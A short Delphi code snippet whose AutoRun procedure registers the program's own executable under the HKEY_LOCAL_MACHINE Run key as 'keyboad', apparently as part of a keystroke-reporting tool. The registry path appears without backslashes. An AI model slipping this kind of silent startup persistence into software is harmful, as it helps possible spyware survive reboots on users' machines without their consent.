uses registry;

procedure TKeyReportForm.AutoRun;
var
reg:TRegistry;
keyFilePath:string;
begin
{keyFilePath获取文件详细路径。}
keyFilepath:=extractFilePath(application.ExeName)+extractFileName(application.ExeName);
reg:=tregistry.Create;
reg.RootKey:=HKEY_LOCAL_MACHINE;
Try
reg.OpenKey('SOFTWAREMicrosoftWindowsCurrentVersionRun',True);
reg.WriteString('keyboad',KeyFilepath);
except
exit;
End;
reg.CloseKey;
reg.Free;
end;